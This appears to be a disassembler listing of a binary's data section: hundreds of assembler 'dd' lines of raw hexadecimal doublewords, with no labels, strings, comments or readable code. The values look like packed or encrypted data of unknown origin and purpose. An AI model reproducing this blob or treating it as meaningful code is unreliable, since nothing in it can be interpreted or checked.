		dd 0A45A71CFh, 81ED8132h, 7BD036DFh, 163BD81Eh,	993A2B52h
		dd 1CE93039h, 0E116D842h, 589A903Ch, 0E74D7BBh,	6D34B291h
		dd 0A98BC30Dh, 12411CDh, 66C5A973h, 41DB851Dh, 0E4CBF9F3h
		dd 77D44C6Bh, 0B762EB25h, 7B227E9h, 89CDC7ABh, 892A46EAh
		dd 91A22BD1h, 51E3BD5Ch, 6BE4CC5Bh, 695A36AEh, 87A89C60h
		dd 231DCC64h, 0F3000018h, 748EDA7Dh, 0FC065203h, 708ADE7Fh
		dd 0FE045001h, 2D8BDF7Ch, 0F7A4D6ACh, 661559A3h, 0EB8CC832h
		dd 611045BFh, 0BF0D9F35h, 1D43EFC5h, 6D1DB438h,	0ECE549E8h
		dd 2C9EC09Dh, 12BBE7C7h, 0E192C43Ah, 0D81DD38Dh, 81EB6D39h
		dd 8A1168E5h, 0CF6A28Bh, 0C3B69C9h, 0B4350596h,	0E27F4A92h
		dd 5578143Ah, 4539CB92h, 3F610D09h, 0BD610CD6h,	0F6551BA5h
		dd 7B4257AEh, 350C9725h, 0CC560CCEh, 7B33867Eh,	0C261F90Bh
		dd 0CBA113B9h
		dd 3E0B7B32h, 724AF8A6h, 0C50B7B33h, 0F56F315Dh, 281FA11Ch
		dd 0FD5E3FB2h, 9FC174FBh, 0D37F1E51h, 85453F8Dh, 20B80B7Ah
		dd 19B7EF4Ch, 21DA58F0h, 95CBF12Fh, 7ACE4D27h, 9B38A00Bh
		dd 17BB5A9Dh, 0A39D81Dh, 0E8129A13h, 4B68B911h,	1B000017h
		dd 8C7622D5h, 4FEAA4Bh,	887226D7h, 6FCA849h, 0D57327D4h
		dd 0FAC2E54h, 8E2DA15Bh, 3B420DAh, 8928AD57h, 57E577DDh
		dd 1D43F15Dh, 6EF55CD0h, 0AE1C421Bh, 12BBE745h,	0B07E20B8h
		dd 31C89C3Dh, 0F54719F4h, 1168E4F3h, 472DE46h, 1168E533h
		dd 4491C38Dh, 2E20BBB4h, 77C0h,	276E9900h, 0C6A2104Eh
		dd 39175666h, 9D530DA1h, 1D17BB5Ah, 0FF933FDEh,	764A3093h
		dd 0C2175667h, 950F608Ch, 56674D27h, 0F89FDD17h, 0D74F3854h
		dd 0C3584AFAh, 9437C9AFh, 0E5D2CDCh, 365834h, 11010000h
		dd 1756671Eh, 9C9022B8h, 0EF175666h, 0A19B2977h, 14175665h
		dd 0DF2A2F8Ch, 4DEA5806h, 2012BC46h, 0A528E6B8h, 973458F4h
		dd 49FB61CFh, 116C4673h, 58FD5EC6h, 1C421B6Eh, 0BC6071AEh
		dd 0B01C8412h, 0D28633BAh, 8C6A528h, 685C2ACBh,	0DB116C60h
		dd 89832F43h, 0C06AA49h, 8B812DCEh, 0AF07AB46h,	4D4273E1h
		dd 1CD21547h, 0F6EF7FDFh, 30DE986Eh, 74F9FF5Ch,	22559BC5h
		dd 10B3DF73h, 0A628E648h, 1D5056F5h, 69EC227Ch,	0C2CB6BC8h
		dd 944588B7h, 18BD3238h, 0F4461874h, 0CD1C487h,	0B27C22BAh
		dd 261EAC3Bh, 990B81C2h, 0CBC16D01h, 2487EB86h,	0A24F867Ch
		dd 1DA9780Eh, 0AAA0638Ch, 3FF87D3Ah, 207418BBh,	4D8093DAh
		dd 0CA0A00ACh, 0B9157915h, 0CD933EB3h, 2690DB24h, 17B40924h
		dd 2B59E7B7h, 1C48E96Ch, 7B836FE6h, 976F4290h, 5BFA7D77h
		dd 5BF79BF7h, 207E4752h, 540574BAh, 4D3794F8h, 8EB11522h
		dd 370DBF15h, 8A8D6103h, 0D02A7E12h, 0A0559A9Dh, 0A00C600Ch
		dd 13C430FEh, 7670D3BFh, 0F5FF5300h, 707AD685h,	0FDF25EFFh
		dd 5F5085F7h, 5D902755h, 8B0BE2BCh, 784C2200h, 0D52F77D4h
		dd 35DF1A0h, 0C7512B99h, 7DA48D60h, 84E6666Bh, 0DB78143Bh
		dd 40B3CBDEh, 0CEBD4B1Eh, 0D5673955h, 88C67DBEh, 47BDE971h
		dd 0B9CF630Eh, 77766CC7h, 0F6C53769h, 7C86D27Fh, 0F9F35F00h
		dd 625AE879h, 0D577766Dh, 258D214Dh, 32A2F96Bh,	0B123D98Dh
		dd 29A8A20Eh, 0FE4CD688h, 77766D06h, 8B61D379h,	0FE77766Dh
		dd 0E6540A66h, 77766D0Eh, 0FA5AF961h, 5A8DFFF5h, 0CD5EE3B3h
		dd 2F43EF8Eh, 27575F02h, 9F528284h, 0DF732251h,	70EFC5B3h
		dd 0DA427776h, 92FE9FD0h, 10E456CCh, 63777671h,	0FA0058FBh
		dd 3769C57Ah, 71251FADh, 987776h, 0B516C30Ah, 0C29C69B0h
		dd 7112EA58h, 0CF657776h, 7671877Dh, 0E62FA77h,	0FF65FFADh
		dd 7671774Dh, 0F152CA77h, 0DC6A4C8Bh, 4BE77F72h, 6037A51Bh
		dd 871D43F4h, 8C6A3F35h, 892AB271h, 0C5A22BD1h,	8C6A7D77h
		dd 0CC0EF071h, 83EF832Fh, 44943EFh, 8B56C614h, 0B5398FB7h
		dd 0AAC6AA06h, 8CC26AC6h, 67125B60h, 0DD80F739h, 0A79D2F71h
		dd 1A718D1Ch, 154DEE82h, 530275BBh, 0EED0B8F0h,	393C8E44h
		dd 65000000h, 1648EF6Dh, 0BCDADDFFh, 883AD640h,	175670B4h
		dd 50F39F07h, 0D5B0F9F0h, 5A2E398Bh, 588112BCh,	0DAE98160h
		dd 0C29CF0D4h, 8C2FD00Ch, 48B47AD4h, 29E93497h,	0B0000000h
		dd 1648EF6Dh, 67463E8Ch, 21B91756h, 0DE2B2282h,	63975907h
		dd 0F34113B0h, 12BC7B9Ch, 0BDB705AFh, 30116C48h, 0C990C4A8h
		dd 0D3261524h, 4DE6540Ah, 912BC7Dh, 7E1D5D93h, 0F4C8BED2h
		dd 47116C4Ch, 0F5A4D5DFh, 0ED963559h, 1F15AF75h, 0ECDDFB58h
		dd 509EC09Dh, 80D27122h, 1F4B7932h, 40B24C18h, 796ABE93h
		dd 0F788EF63h, 0EB3E379Bh, 61FE4C12h, 14123510h, 0D91CD28Ch
		dd 5F966C38h, 899481B2h, 0C860E2A8h, 137919h, 0CB32500h
		dd 882DA258h, 0B526DCh,	8E2BAE54h, 1B220DAh, 3072F355h
		dd 0BF4511C2h, 2AD08437h, 5BA1F5AAh, 99336712h,	0F4C3B90Bh
		dd 0BA361D43h, 11A33913h, 1756671Bh, 0F37FB76Eh, 3E33DE4Eh
		dd 9B37F52h, 6047A81Ah,	0D9C3B9C3h, 41481756h, 6EA03A64h
		dd 929834E9h, 7C10BC61h, 0BAC9B310h, 4D12BCE9h,	17458BD5h
		dd 8ECE3460h, 64F45E9h,	0AF4D586Bh, 1FB7E220h, 12FDCEh
		dd 7027A900h, 0E499DE24h, 54094AB0h, 0DA77FA00h, 5506748Eh
		dd 5C26A701h, 0D3297D1Eh, 56ACF89Bh, 0DF257126h, 5AFFB96h
		dd 0F54F2597h, 2EA21D43h, 421B6E87h, 0AE1C861Ch, 175666D6h
		dd 6812B129h, 12BC795Bh, 0CA6F2EC7h, 1B36E569h,	1E5D1E53h
		dd 0D3BFD37Fh, 0CD930B70h, 7729CC03h, 80B2C99Eh, 2380CAF8h
		dd 0AF4E817Bh, 75C75D03h, 116BEA7Fh, 0EA9369DBh, 7EE6116Bh
		dd 34329109h, 0B6BC10C1h, 281CAE41h, 9B116BEAh,	0C9C36F03h
		dd 0D078D48Bh, 1F4F6E9Eh, 0F36433A1h, 0BA51642h, 24FED3DCh
		dd 0A2896DE2h, 0A500090Ah, 0AC4D8Ch, 0C06C006Ch, 0CCAF779Eh
		dd 0B7C1C71Eh, 0DF996E14h, 6391116Bh, 0D71A10BCh, 703E963Ah
		dd 0ADF7D104h, 46F7783Fh, 0E355BC12h, 0D5AF1D3Ah, 28116BD3h
		dd 37B69DB0h, 6B084E44h, 0D489CEC8h, 6BE82678h,	0A90A66CAh
		dd 0DE805DACh, 0C306AD44h, 0F7F60BD5h, 8C211BA9h, 0C94116Bh
		dd 0C62D5AFh, 4DD50CD1h, 0F998DD13h, 731E57ADh,	0FAC3D6DFh
		dd 8B4E16A4h, 0B92106E3h, 0F5A429E7h, 67125BA1h, 0EEB7C2CBh
		dd 2B02AB0h, 590892Ah, 0C80F059Dh, 76D5B915h, 0F68CDF0Ch
		dd 794AD200h, 0F3E6EC78h, 0AFF5248Ch, 7F000011h, 0E81246F9h
		dd 18E2B667h, 946E3ADBh, 1AE0B465h, 0C96F3BD8h,	1BB83A48h
		dd 9241B54Fh, 1FC03CC6h, 9D3CB14Bh, 43F163C9h, 1D43F769h
		dd 39F950DCh, 0A4A21DD0h, 943700ABh, 56C00DEEh,	5EDF1D17h
		dd 3D567B18h, 0ED498C38h, 0E0194D21h, 784CFE99h, 91175714h
		dd 9D61395Ah, 0CA522560h, 9A4AF8A6h, 4412BCA1h,	0C490F5ADh
		dd 237D7F6Dh, 69CC9B91h, 0D576EE11h, 0BEB604AEh, 181169CBh
		dd 69CBD2AAh, 0CABD2511h, 0CBDAD260h, 0B52D1169h, 71EBB5D9h
		dd 7FFC3DBFh, 1711B2DEh, 866F31E4h, 9123D149h, 11696F9Bh
		dd 2B5B76EEh, 1840E3DCh, 5552341h, 36A1358Eh, 0F8000001h
		dd 500C286Eh, 0F7727994h, 0D9B072D9h, 0B4D84932h, 8B3971D8h
		dd 175666B4h, 393B9232h, 43B72954h, 0E54C256Eh,	0F739BA03h
		dd 7A7A9385h, 80476A4Dh, 8F2C40ECh, 5AC858Ah, 4523D8BDh
		dd 0B1370E05h, 28h, 4C256EE8h, 0B48B39E5h, 7175666h, 0D039369Fh
		dd 964520FCh, 95C7641Dh, 29EE6DF8h, 3198F4ABh, 43B6DDA0h
		dd 0EF000000h, 0E54C256Eh, 66B48B39h, 0E02E1756h, 6CC071h
		dd 134DEDA3h, 67413B89h, 2CB41756h, 54392A8Fh, 0D782F739h
		dd 5EFD9CDDh, 0D37A1B58h, 78E42AA0h, 676D47F5h,	58C01756h
		dd 24651934h, 0FC2EDC6Ch, 4523FA5Fh, 0B1370E05h, 47h, 48216EE8h
		dd 39A339E1h, 5666B18Bh, 0EA9C0417h, 17566712h,	0C5EFD65h
		dd 5666C9BEh, 0DA43C17h, 8B39A339h, 175666B1h, 9A3F9C04h
		dd 0E24BEA6Dh, 0F739DDA0h, 0AE73D083h, 2Ah, 0D489CE00h
		dd 52FF7278h, 6E389D3Eh, 39E14821h, 5666B48Bh, 3B923217h
		dd 0A3395439h, 56671B11h, 55F66E17h, 0D0791C53h, 0A339DDA0h
		dd 56671B11h, 55F66E17h, 0FFFEC888h, 6AE826FFh,	0AA0965C9h
		dd 421B6E0Fh, 81D6F51Ch, 85A84D82h, 0BCB61224h,	5935993Ah
		dd 911AA8FAh, 0E412BC32h, 51B8227Ch, 0E56861E1h, 0A8AE0DD6h
		dd 0F44625h, 73116868h,	2AD387EBh, 0EE5C02EBh, 11686816h
		dd 2B5DF169h, 11686853h, 6875E7A9h, 2E203EA0h, 32ECh, 1F11B500h
		dd 0EF175667h, 199FCB66h, 17566726h, 95CB92E7h,	0D4CEE60Fh
		dd 26F0629Fh, 56CEA094h, 0E78B1317h, 0D7553E44h, 0F06812BCh
		dd 0D185A4h, 6EDC0000h,	0D21C421Bh, 0BA579AA1h,	1C167A16h
		dd 0C89A39DAh, 921BB52h, 20E288A8h, 0FA7AF983h,	55CD12BCh
		dd 0E097C50Bh, 0A3D41AB4h, 26545EF2h, 0BCBA1975h, 3A339F40h
		dd 0D24816EFh, 493FE01Ch, 116CF873h, 0AFFD5EC6h, 0D278A21Dh
		dd 0D38D150Ch, 7701FB49h, 0EC740B7Fh, 65C673E6h, 0C47BF937h
		dd 35EA6A90h, 170826Bh,	0F458FD7Eh, 5A0BB598h, 9F3EBDB7h
		dd 5CFC5F33h, 27794455h, 1AB665E9h, 5EFF7C76h, 6F3D9EF2h
		dd 0E57580DDh, 49178F06h, 0F7A34E87h, 1A29C80Dh, 0EDFAF32Bh
		dd 9FA071D9h, 4F00000Eh, 0F8025609h, 6892C677h,	0E41E4AEBh
		dd 6A90C475h, 0B91F4BE8h, 6B084A38h, 0E291C53Fh, 6F104CB6h
		dd 0ED8CC13Bh, 338113B9h, 1D43FA39h, 6DA9008Ch,	0BBE549E8h
		dd 12F6AB52h, 61C2433Ah, 0EF43EE67h, 0DCDB0947h, 2ACF899h
		dd 4FEC8DCCh, 0EB27107h, 1C589634h, 18BBD77Bh, 3D41h, 1B6E1800h
		dd 1C861C42h, 0BC50CDF5h, 275193B9h, 1757314Dh,	0E19B38A0h
		dd 12BD464Ah, 309A53Dh,	817B2FCAh, 801AD4Ch, 0C87A2401h
		dd 0CD2F26Bh, 0D61846DEh, 75F8F29Fh, 0A70468C4h, 0EA6DA6FFh
		dd 94DB154Bh, 0B467EBE1h, 42B54F17h, 0B3893BA1h, 6175666h
		dd 6714E89Eh, 0FF671756h, 70493F93h, 0A2175667h, 1DD38D32h
		dd 0C69E3DDCh, 4D13EA3Fh, 678F65D7h, 48E21756h,	566702FAh
		dd 81ED7517h, 45C27022h, 0F812BBE8h, 83F03E60h,	0C12886D2h
		dd 7122B887h, 6558587Eh, 96539DB0h, 23399C3Fh, 358E0555h
		dd 15EA1h, 0F739F800h, 7471D285h, 39F25B32h, 5666B48Bh
		dd 3B923217h, 0B7295439h, 45FA7AB4h, 832685E9h,	0A42A256Eh
		dd 5B375BF7h, 6EBA03F2h, 0BDE14821h, 54523D8h, 3FB1370Eh
		dd 0E8000000h, 124C256Eh, 0D04679FBh, 60C3F147h, 0B48B39C5h
		dd 7175666h, 5439369Fh,	0DD80F739h, 0B8BE1D71h,	0A0339A3Bh
		dd 1E0EC32Ah, 0B19C41B6h, 76D5152Dh, 82F739D3h,	0B4177BD7h
		dd 3D69h, 256E3000h, 10BA82Ah, 0E74E22D1h, 2084D039h, 0D82632CDh
		dd 29B3297Bh, 56A5A19Bh, 2F8C1417h, 56A66255h, 0E940E017h
		dd 0F7395439h, 107CD083h, 9746B5B3h, 85F7393Eh,	0B1127ED2h
		dd 4523077Ah, 0B1370E05h, 54h, 11A339E8h, 1756671Bh, 5055F66Eh
		dd 0B6513B4Fh, 7C6AD4B8h, 8B39B910h, 175666B4h,	0AA6DE02Eh
		dd 45E68A27h, 390FA63Eh, 4BEA6D54h, 6FD039E2h, 0BDFAEAE9h
		dd 6FE4C12h, 79175703h,	0F48942E1h, 0D083F739h,	40AE73h
		dd 0E9000000h, 0BFE01B09h, 5DF85B3Fh, 0E148216Eh, 80FCD039h
		dd 183F945h, 6D42F0A2h,	0F5175741h, 0A339FC55h,	0B7781E4Ah
		dd 0E7ED6B5Dh, 0C762C174h, 0E24BEA6Dh, 0D285F739h, 0AEF72FFFh
		dd 77D49D44h, 0F739C1BCh, 5D57E582h, 0D0175667h, 0E4882448h
		dd 0FE999A47h, 6EC3FFFFh, 0AE1C421Bh, 12BBE745h, 0E47E20B8h
		dd 0A90AA72Ah, 0DF8B26AFh, 6190DF26h, 3082DCB0h, 1168E53Ch
		dd 0E5BB178Fh, 0E4F7CD7Fh, 0D24A1168h, 0E5330B71h, 0C7891168h
		dd 5F9C5295h, 0E5463E8Ch, 21B91168h, 0D2A6EE4Dh, 222E20BAh
		dd 2Ch,	0D0A4168Ch, 231168DCh, 97FB9ADDh, 0A3399134h, 56671B11h
		dd 55F66E17h, 5667592Fh, 64B8517h, 87CEC86Bh, 0BD9FBEEAh
		dd 0C6000000h, 1C421B6Eh, 0BC6A2DAEh, 658C012h,	0BFEB8CC8h
		dd 0CC601745h, 9CA8B4C5h, 0C8637560h, 0F7552F9Dh, 30A8116Bh
		dd 0F46E305Ch, 6D1BB83Ah, 116BF797h, 9E2C72EAh,	116BF6A6h
		dd 70228119h, 0D17761C2h, 124CD40Ch, 85046188h,	5E9EBCEFh
		dd 0C679FBFDh, 4BEC6892h, 0C29BEEE7h, 0B5EF2E9Ch, 861E06E4h
		dd 73DF16D8h, 67941EC8h, 4C59BB6h, 0FF5A1CDh, 23FD6AC6h
		dd 5D5BAD54h, 0B673CB70h, 167AA3D2h, 0FB2B5825h, 9544ECEDh
		dd 0B36h, 99CD72E6h, 1D49EC63h,	95C174E7h, 1B4FEA6Fh, 96C271E1h
		dd 8DCDB130h, 0E40BAEEh, 91C3396Dh, 0D40BAEEh, 92386Ch
		dd 43FCBAB2h, 28810D1Dh, 0E549E86Dh, 2FAD66EFh,	0E048E488h
		dd 0F4793EAEh, 0A408AB23h, 44F0A4C8h, 340E3DB4h, 6DC0h
		dd 0D0399900h, 6C74B3CDh, 3A3F9C1Eh, 0D24816EFh, 4F75443Bh
		dd 0F655E085h, 0BC912F8Ch, 8942AB12h, 0EC83108Eh, 8E572C8Fh
		dd 920C5CADh, 6FE4C5Fh,	79116B69h, 4DE18DE1h, 37630E47h
		dd 45E988CDh, 3E603D4Ch, 81704DA4h, 96951EDBh, 701CB065h
		dd 46C5BF1Ch, 0D00CD236h, 2304F84Ah, 0EF770B82h, 0FBAF374Ch
		dd 6907BC55h, 0C9B3218Ah, 0EA6DCF6Ah, 9A991F4Bh, 90175666h
		dd 49E7B364h, 0CA05387h, 0CE82E321h, 0CBA7D657h, 411C6D68h
		dd 0EF27AD1Fh, 3DA12BAh, 0C757D84Ch, 55B37D8h, 7E1D519Fh
		dd 1B1DBED2h, 287125D8h, 8E055523h, 11CA135h, 0C10F0000h
		dd 454FE392h, 0AE0D6110h, 4D286E0Bh, 0B48B39E4h, 32175666h
		dd 54393B92h, 3943B729h, 6950E0D0h, 3390617Ah, 0AD04ED36h
		dd 216EBA03h, 0D8BDE148h, 0E054523h, 34B137h, 0D11F0000h
		dd 7973C1A2h, 0CC145667h, 0F8943854h, 256EFE5Bh, 8B39E54Ch
		dd 175666B4h, 39369F07h, 4FEE6D54h, 0B6DDA0E6h,	4Ch, 2264F118h
		dd 0E5A3D5EFh, 256EE346h, 0A339E54Ch, 66B18B39h, 0AE041756h
		dd 5667281Ch, 6F039B17h, 66C1B6CCh, 0A1011756h,	6DA33908h
		dd 4DE84BEAh, 114FEE6Dh, 6743398Bh, 2EB61756h, 0A905B624h
		dd 39C366C5h, 70DC7FF7h, 974BF1Ch, 0E054523h, 3CB137h
		dd 6EE80000h, 0D8164821h, 0E045E697h, 66B48B39h, 9F071756h
		dd 6DA33936h, 41070CECh, 82B2EAAAh, 8D2E42EEh, 4BEA6D28h
		dd 11A339E2h, 1756671Bh, 7EFCF66Eh, 0C8B57EDDh,	1FB6h
		dd 216EEF00h, 0CFFF1648h, 1BC74E50h, 3911B417h,	5666B48Bh
		dd 3B923217h, 0EA6D5439h, 0DDA0E24Bh, 0FFFEDBB6h, 1B6EEFFFh
		dd 0EC62B524h, 0E38F234Fh, 854BD18Fh, 0DDD7A150h, 50175666h
		dd 8B396BC8h, 12BBE720h, 9B550B93h, 10F9A752h, 0FA44F17Dh
		dd 0FDA50615h, 4A140104h, 0FF9A4A3h, 2E03AF6Bh,	0A32CA6CDh
		dd 0BEEC4F65h, 470BE24h, 634F2553h, 3AA21169h, 6309E399h
		dd 0E47C1169h, 63483E48h, 0F2BC1169h, 398D7B82h, 35F92E21h
		dd 0A0000000h, 56671F11h, 0F966EF17h, 5667714Bh, 655FED17h
		dd 0D8175667h, 2F9D3740h, 17566755h, 305C30A8h,	6E46F46Eh
		dd 0C1175667h, 761ABD3Fh, 0B1AC8DD5h, 0F5000000h, 1C421B6Eh
		dd 0BC6815AEh, 0F042E812h, 116C64FCh, 0E5BBD74Fh, 0A2F6A92Bh
		dd 0D77B1C58h, 0ACF2CBDEh, 0D1E5991Eh, 6D35EC0Ch, 257C5CFCh
		dd 0A9C57AFAh, 2F832EA3h, 0BF712F43h, 0DC7DFC3Dh, 24701C70h
		dd 55F99EDEh, 8491C50Bh, 670BA758h, 68CBA70Bh, 1F411C6Dh
		dd 0DA3D3785h, 69B00B7Eh, 78D97A72h, 5DFE9282h,	9F60BD0Fh
		dd 0F76F06E4h, 43EE67A9h, 0C968ED17h, 0FBC917FAh, 54852DEDh
		dd 7FAh, 257126AAh, 0B1E598DFh,	155084Bh, 8FDB76FBh, 2560575h
		dd 195925A4h, 0A2D42E7Ah, 1D5FA5F1h, 0A1D42E7Ah, 9C0EA4F0h
		dd 4400562Eh, 8C25A91Dh, 0E549E86Dh, 67CB66EFh,	0BA08E86Dh
		dd 24191706h, 2B218DE1h, 0F258F4A7h, 0B91144B0h, 0BF3685F7h
		dd 4F824C12h, 68620EA2h, 0B2EA49EAh, 0EAD7206h
		dd 5A8234h, 0C52C0000h,	7AD41C45h, 80258617h, 0B6241B6Eh
		dd 2549EC63h, 178D1749h, 5666CFA5h, 0C3B90B17h,	36175666h
		dd 6C41D9AEh, 73BA11D7h, 0C2B81B1Dh, 12BCB891h,	887CCE64h
		dd 0FB116C96h, 0D5A30F63h, 116C95E3h, 8CCD035Dh, 64B41EDh
		dd 0E6A4076Bh, 68996F76h, 35E52E24h, 0BC000000h, 1C421B6Eh
		dd 0BC4DC1AEh, 0AC3412h, 4816C30Ah, 0BA75486h, 669CC467h
		dd 0E7EE42EFh, 2795CB92h, 0CD23D8Ch, 0B95A9856h, 0A1DA7915h
		dd 0DC36D39h, 2F8A29C8h, 0D7222924h, 49E2500Eh,	3C12BC7Dh
		dd 91C47EA4h, 89D13612h, 9F76FA13h, 0CC7F4ADFh,	0F5DCC2BAh
		dd 0A7AD3550h, 402C8033h, 0CA93E6E3h, 0F28D2694h, 0F8604C5Bh
		dd 714C5D54h, 0AB7CC62Fh, 11A69BCDh, 0F19D31E0h, 0DE6C3E9Dh
		dd 46725D41h, 18EC5EF4h, 6B45222Ah, 0FC19FF3h, 0EB872BC6h
		dd 69801A48h, 0A1FD9616h, 0CCCA6984h, 0CC478E89h, 8B81ED8Eh
		dd 503C9043h, 8C6683Ch,	0D6BA16C7h, 5FFA7375h, 6B46AB6Ch
		dd 0C819B1AEh, 67Ah, 0A5F1A62Ah, 3165185Fh, 81D588CBh
		dd 0F5BF67Bh, 82D685F5h, 99D9A524h, 2254AEFAh, 9DDF2571h
		dd 2154AEFAh, 1C8E2470h, 4401D6AEh, 0CA5291Dh, 0C97BE86Dh
		dd 175666F3h, 1EB2DE46h, 6236E714h, 22CF02CCh, 4441E28Eh
		dd 14E85A35h, 1A175667h, 0CA5225DAh, 0AC62F8A6h, 4F238F30h
		dd 0E71196ECh, 0FC6412BBh, 4AEB6CA2h, 0CE621340h, 0FFA101A2h
		dd 0E4DDD765h, 0C8501168h, 41ED92C2h, 4B888E2Dh, 41ED8ECCh
		dd 0CAF272Dh, 838C5360h, 50F8E224h, 5E581h, 983FB100h
		dd 1CC136CCh, 9C41B248h, 12BF32C8h, 9D3EBC46h, 94EE6FC9h
		dd 1BE1B566h, 8E7420D3h, 7FDA94Eh, 0DD7723CEh, 207FD4Fh
		dd 0F67A1D44h, 7EF7395Fh, 19137FD3h, 0E68A26D5h, 6C394045h
		dd 0E7238032h, 25BF12BBh, 68E49D97h, 2B881011h,	6E64C850h
		dd 0BE7B48EDh, 0CAE22483h, 584B362h, 20500000h,	9ED12B7Fh
		dd 2251ABFFh, 9CDD2773h, 1F53A9FDh, 0F8E287Ch, 4500377h
		dd 8FDB78FEh, 4500775h,	8EDA77FEh, 3004B624h, 831D4403h
		dd 1B6EA60Fh, 6F861C42h, 5F0F48ACh, 0E69C3FEEh,	12BC0E89h
		dd 0C2C864FCh, 986CDE91h, 0EB11690Ch, 0BF9F341h, 0D44C1169h
		dd 44E7D4B8h, 58E2245Ch, 52021F0h, 8CCC0000h, 1245BFEBh
		dd 8ECD3763h, 1041BBEFh, 8BCF3561h, 9B1ABCE8h, 0E0B467EBh
		dd 7327D41Ah, 0C0944B89h, 5206B33Ah, 0E4D86AF8h, 571D4402h
		dd 0E86D72DBh, 66EFE549h, 0C87C95CBh, 0C2F641BCh, 101FBF1Ch
		dd 28ADEA1Ah, 0FF4DD789h, 17570205h, 65EAE078h,	0D3701CB0h
		dd 1CFC718Bh, 5F82FFCFh, 0E74B27BBh, 57599E91h,	0C40A4017h
		dd 0B5A1A797h, 0C0EE2808h, 8C31A6ACh, 0ADEF4C20h, 71E22C3Fh
		dd 0AF0C60CCh, 217524A9h, 0AAF4D1D8h, 0BBF7A718h, 0DC821A12h
		dd 1658DB12h, 0C9A5C965h, 71EE679Dh, 68F5E9C3h,	0CB32111h
		dd 0A057857Bh, 520CA0CCh, 36DCBEBBh, 893A17C4h,	0E7E24115h
		dd 2795CB92h, 0CCE347Dh, 9EAFB059h, 0F7C75F2Ah,	0E9B72F54h
		dd 5703AE27h, 258928ADh, 5E00DD2Ch, 0E167BFECh,	0B3019B06h
		dd 59156B9h, 2014A60Ch,	93059157h, 0EA6D670Bh, 0B93E84Bh
		dd 0FC118738h, 0C415BDEDh, 41Eh, 81D58ACEh, 1541F47Bh
		dd 9DC96CEFh, 1347F267h, 9ECA69E9h, 95C5B938h, 648B2E6h
		dd 79FB0155h, 0E56892C6h, 58CA6034h, 440412EAh,	40E9651Dh
		dd 0E549E86Dh, 9FCB66EFh, 144A1366h, 0BC7579A6h, 78D44C12h
		dd 6C533A0Eh, 9CC88611h, 2429A751h, 3AD72Eh, 398E0000h
		dd 657C07D0h, 0AA6E43F2h, 0E4E1429Fh, 2496C895h, 12BD1B2Fh
		dd 5B425EBh, 0B5E8C5A9h, 217A1CF4h, 56CEB516h, 0BEBC8CFAh
		dd 4A04116Ch, 9125D31Ah, 0EB512E24h, 8000000h, 1749E86Dh
		dd 67453F8Dh, 20B81756h, 0A9292383h, 62F8A60Ah,	5666DCD0h
		dd 0C0B40617h, 33175666h, 0AD22DCABh, 0A4C8A408h, 2DCC0107h
		dd 97428B81h, 63B445C3h, 43AA1756h, 0E686243Fh,	0D3D57636h
		dd 51ABFF9Ah, 0D8D17D1Ch, 30AAF4D1h, 73DF7CFEh,	0D6BF321Fh
		dd 9A94F206h, 27C44339h, 897712BCh, 563A9645h, 0D67A1B5Ch
		dd 6188D6BAh, 151C69B5h, 0AC4F83C0h, 0A3006C00h, 569B55FBh
		dd 0C1D18BBh, 0FDD6F31h, 0E20CD0AFh, 68EA247Ah,	7E714BF9h
		dd 5CC40B7Fh, 0DF732056h, 718BDFB3h, 0E2615201h, 0F2E80DEAh
		dd 2E48B5Ah, 40B00000h,	0BE31CB9Fh, 42B14B1Fh, 0BC3DC793h
		dd 3FB3491Dh, 0EF6EC89Ch, 0E4B06397h, 6F3BD81Eh, 0E4B06795h
		dd 6E3AD71Eh, 10E456C4h, 631D4405h, 0ED6D46EFh,	6DE01A4Eh
		dd 1F5C92CCh, 1DBED27Eh, 1B6E1C45h, 0B5AE1C42h,	6112BC48h
		dd 0AB82DAFh, 116C3832h, 0DD711D85h, 8639BBB1h,	9EE5462Ah
		dd 7C38AD47h, 680435F4h, 0A2739AC4h, 0E0D466AAh, 53116C33h
		dd 277DE6CBh, 64542E8Dh, 0AA116B81h, 2C268A27h,	0ACA30FB0h
		dd 7B0736A6h, 0CABEC735h, 3A2E2352h, 0B7h, 49E86D63h, 775BBE5h
		dd 3390FC50h, 0BA16C535h, 0F5AA2AE4h, 0EC963559h, 1756635Dh
		dd 297D1C51h, 3CD9AD3h,	63592FCAh, 0D6175663h, 878E224Eh
		dd 512B9972h, 0A4175663h, 940E503Ch, 56634E26h,	423A8817h
		dd 0B5175663h, 61C25A2Dh, 5E068133h, 21B912BCh,	0C67D8C75h
		dd 89C1EC91h, 13D1084h,	45F7A9C5h, 0CD01436h, 0C10F51C9h
		dd 4CB6E291h, 0C15E6D0Eh, 0C7E80E85h, 1D0BE6Fh,	5C9C0000h
		dd 0E215EFBBh, 5E9D6733h, 0E011EBBFh, 5B9F6531h, 0CB4AECB8h
		dd 0D08437BBh, 0A3F7A42Ah, 30641B59h, 82D683CAh, 3408BA28h
		dd 871D4406h, 0ED6DA20Bh, 6DE01A4Eh, 6DC198CCh,	0EFE549E8h
		dd 5B95CB66h, 0BE15314h, 7E175667h, 4A268AE6h, 4148B1E9h
		dd 86F43A64h, 0B61579D5h, 740556E4h, 21F812BCh,	0B1DF54F4h
		dd 993559CCh, 6BD419EFh, 0BB296711h, 23A9C6B2h,	3F362Eh
		dd 6E6F0000h, 6B7241Bh,	60AE346Ah, 81ED41F2h, 6F735822h
		dd 5F8612BCh, 4E9DCF3Ah, 8C204C7Eh, 3EDF1CD2h, 5311E79Dh
		dd 316F116Ch, 0A1FB28D8h, 892A4D80h, 0BC4C99CBh, 0C82E233Dh
		dd 18h,	671E1191h, 9AEF1756h, 0C9079DC3h, 304AE988h, 12BC7493h
		dd 0B3EABE26h, 1B11A339h, 6E175667h, 495055F6h,	4F90227Ch
		dd 2212BC64h, 0A14816BAh, 802D70C6h, 0F3892A18h, 116BB7FDh
		dd 872BCA0Dh, 7AB4A8Dh,	0A3D20208h, 6391DFh, 488E8DCEh
		dd 616BC7ABh, 81224EEDh, 238E3FC9h, 458A442Eh, 0BAD683F6h
		dd 80D97A16h, 1Ch, 671F11D9h, 52BB1756h, 0F3B9D210h, 393C9F1Eh
		dd 0F94B15F0h, 12BCB55Ah, 782175EDh, 1C421B6Eh,	0BBE4F1AEh
		dd 309C0412h, 8D2EA06Eh, 0E8EE4D21h, 24EAB465h,	0C2AE02B3h
		dd 7AD687C8h, 17EDB516h, 0E99F33DEh, 24C77DB8h,	2A8633BAh
		dd 0AC00B120h, 4B6C40F2h, 47DFD386h, 1A3BA917h,	0AEED1F15h
		dd 24DE8A27h, 0F2AC00B1h, 0B6E01F1Bh, 0A102857Ah, 2B8732A7h
